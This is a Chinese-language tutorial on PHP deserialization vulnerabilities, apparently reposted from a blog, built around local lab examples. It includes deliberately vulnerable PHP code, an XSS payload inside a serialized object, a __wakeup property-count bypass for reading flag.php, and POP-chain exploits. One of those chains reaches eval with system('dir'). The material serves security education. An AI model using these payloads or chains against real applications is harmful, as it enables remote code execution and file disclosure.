反序列化篇

反序列化篇反序列化是指将序列化后的数据进行解码和还原 恢复为原始的数据结构或对象的过程

大家好,欢迎来到IT知识分享网。

一、序列化与反序列化

1、序列化:

        序列化是指将数据结构或对象转换为一串字节流的过程,使其可以存储、传输或缓存时进行持久化。(PHP 中使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串)

2、反序列化:

        反序列化是指将序列化后的数据进行解码和还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。(PHP 中使用 unserialize() 函数对序列化后的字符串进行反序列化,将其还原为原始的数据)

1、序列化后的类型 (1)i 整型(int) (2)d 浮点类型(double) (3)b 布尔类型(boolean) (4)a 数组类型(array) (5)O 对象类型(class) (6)N NULL 类型(null) 常见格式:O:长度:"类名":变量数:{变量类型:变量名长度:"变量名":变量值;} 2、变量长度的注意点 (1)中文汉字或中文字符长度加3 3、对于不同的访问类型: (1)public 就是变量本身 (2)protect \00*\00变量名,指明字符长度的 s 要大写 S (3)private \00类名\00变量名,指明字符长度的 s 要大写 S 

3、说明示例1

(1)源码:

<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $c = new Seria(); echo serialize($c); ?>

(2)执行结果

反序列化篇

4、说明示例2

(1)源码:

<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $ser = new Seria(); $a = serialize($ser); print_r(unserialize($a)); echo "<br>"; $c = $_GET['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";s:6:"%00*%00age";i:11;s:15:"%00Seria%00username";s:4:"limb";}'; print_r(unserialize($c)); ?>

 (2)payload:

http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:8:%22chunchun%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}

(3)效果:反序列化篇

 5、说明示例3:

(1)源码:

<?php class Seria{ public $name = "chunchun"; protected $age = 11; private $username = "limb"; public function __construct(){ echo "序列化结束"."<br>"; } } $b = new Seria(); $cc = serialize($b); print_r(unserialize($cc)); echo "<br>"; $a = $_POST['cc'] ?? 'O:5:"Seria":3:{s:4:"name";s:8:"chunchun";S:6:"\00*\00age";i:11;S:15:"\00Seria\00username";s:4:"limb";}'; print_r(unserialize($a)); ?>

(2)payload:

反序列化篇

(3)效果:

反序列化篇

6、魔术方法:

__construct() 当一个对象创建时被调用 __destruct() 当一个对象销毁前被调用 __sleep() 在对象被序列化前被调用 __wakeup() 将在反序列化之后立即被调用 __toString() 当一个对象被当做字符串使用时被调用 __get() 访问一个不存在或不可访问的属性时调用 __set() 当一个不存在或不可访问的属性赋值时调用 __invoke() 调用函数的方式调用一个对象时的回应方法 __call() 使用不存在或无法访问的方法时调用 __callStatic() 使用不存在或无法访问的静态方法时调用 __isset() 对不存在或不可访问的属性使用 isset() 或 empty() 函数时调用 __unset() 对不可访问或不存的属性使用 unset() 函数时调用 __invoke() 当你像使用函数一样使用一个对象时调用 __clone() 当你使用 clone 函数复制一个对象时调用 __autoload() 当你尝试加载未定义的类时调用 

二、反序列化漏洞:

1、漏洞简述:

        反序列化的数据本质上来说是没有危害的,用户可控数据进行反序列化是存在危害的,反序列化的危害, 关键还是在于可控或不可控。

三、反序列化漏洞的利用

1、XSS:以上述实例代码 2 为例,若序列化的值可控:

(1)payload:

http://localhost/serialize/test2/test1.php?cc=O:5:%22Seria%22:3:{s:4:%22name%22;s:25:%22%3Cscript%3Ealert(1)%3C/script%3E%22;s:6:%22%00*%00age%22;i:11;s:15:%22%00Seria%00username%22;s:4:%22limb%22;}

(2)显示效果:

反序列化篇

(3)POST 的效果也是一样的:

反序列化篇

2、 绕过 __wakeup:

(1)示例源码:

<?php class Getflag{ protected $file='test3.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false){ show_source(dirname (__FILE__).'/'.$this->file); }else{ echo 'Wrong filename.'; } }else{ echo "kong"; } } function __wakeup(){ $this->file = 'test3.php'; } } $f = $_GET['file']; echo $f."<br>"; $ff = base64_decode($f); echo $ff."<br>"; $c = unserialize($ff)."<br>"; ?>

(2)flag.php

<?php $flag = "chunchun"; ?>

(3)payload 获取

第一步:编写 exp获取序列化后的字符串

<?php class Getflag{ protected $file='flag.php'; function __destruct() { if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); }else{ echo 'Wrong filename.'; } } } $data= new Getflag(); $ser= serialize($data); echo $ser; echo "</br>"; echo base64_encode($ser)."<br>"; echo base64_encode('O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";}')."<br>"; ?>
O:7:"Getflag":1:{s:7:"*file";s:8:"flag.php";} 因为有 protected 属性,改写为: O:7:"Getflag":1:{S:7:"\00*\00file";s:8:"flag.php";}

第二步:增加变量个数,以此来绕过 __wakeup ,然后进行 base64 编码:

增加变量个数后改为: O:7:"Getflag":2:{S:7:"\00*\00file";s:8:"flag.php";} base64 编码后为: Tzo3OiJHZXRmbGFnIjoyOntTOjc6IlwwMCpcMDBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

第三步:进行访问 flag.php 的尝试

反序列化篇

注意:如果 php 高于 7.0 则没有该漏洞。

3、 pop 链构造1

(1)示例源码:

<?php
	header('Content-Type: text/html; charset=utf-8');
	
	class First{
		private $t1;

		function __construct(){
			$this->t1 = new test2();
		}

		function __destruct(){
			$this->t1->excute();
		}
	}

	class Second{
		public function excute(){
			echo "走错了";
		}
	}

	class Third{
		public $t3;

		public function excute(){
			eval($this->t3);
		}
	}

	if(isset($_GET['cc'])){
		$c = $_GET['cc'];
		$d = unserialize($c);
		print_r($d);
		echo "<br>";
	}else{
		echo "无参数";
	}
?>

(2)获取 payload :

<?php

	header('Content-Type: text/html; charset=utf-8');
	class First{
		private $t1;

		function __construct(){
			$this->t1 = new Third();
		}
	}

	class Third{
		public $t3 = "system('dir');";

		public function excute(){
			eval($this->t3);
		}
	}

	$exp = new First();
	echo serialize($exp);
?>

(3)输入 payload:

字符串的序列化值: O:5:"First":1:{s:9:"Firstt1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}} 加入 url 编码: O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}} ?cc=O:5:"First":1:{s:9:"%00First%00t1";O:5:"Third":1:{s:2:"t3";s:14:"system('dir');";}}

4、pop 链构造2

(1)源代码:

<?php class Modifier{ // 1、需要满足 $var = "flag.php",然后要调用 __invoke() 函数,需要把 Modifier 当函数执行 protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file = 'index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ // 3、要访问 Test 中不存在的属性,所以要触发 __toString() 函数,然后满足 $str = new Test(),然后把 Show 当作字符串来使用 return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)){ echo "hacker"; $this->source = "index.php"; } }// 4、preg_match() 是对字符串进行处理,所以要使得 $source 等于 new Show(),然后触发 __toString } class Test{ // 2、因为 return $fun() 是吧 $fun 变量当作函数执行,所以要满足 $p = new Modifier(),然后要调用 __get() 函数,所以要访问 Test 中没有的属性 public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $fun = $this->p; return $fun(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); }else{ $a = new Show(); highlight_file(__FILE__); } ?>

 (2)获取 payload:

<?php class Modifier{ protected $var = "flag.php"; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct(){ // $this->source = new Show(); $this->str = new Test(); } } class Test{ public $p; } $exp = new Show(); $exp->source = new Show(); $exp->source->str->p = new Modifier(); echo serialize($exp); ?>

(3)输入 payload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}} 因为存在 protected 属性,所以更改为: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}} ?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:8:"flag.php";}}}s:3:"str";O:4:"Test":1:{s:1:"p";N;}}

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/118497.html

(0)
上一篇 2025-11-12 18:33
下一篇 2025-11-12 19:00

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信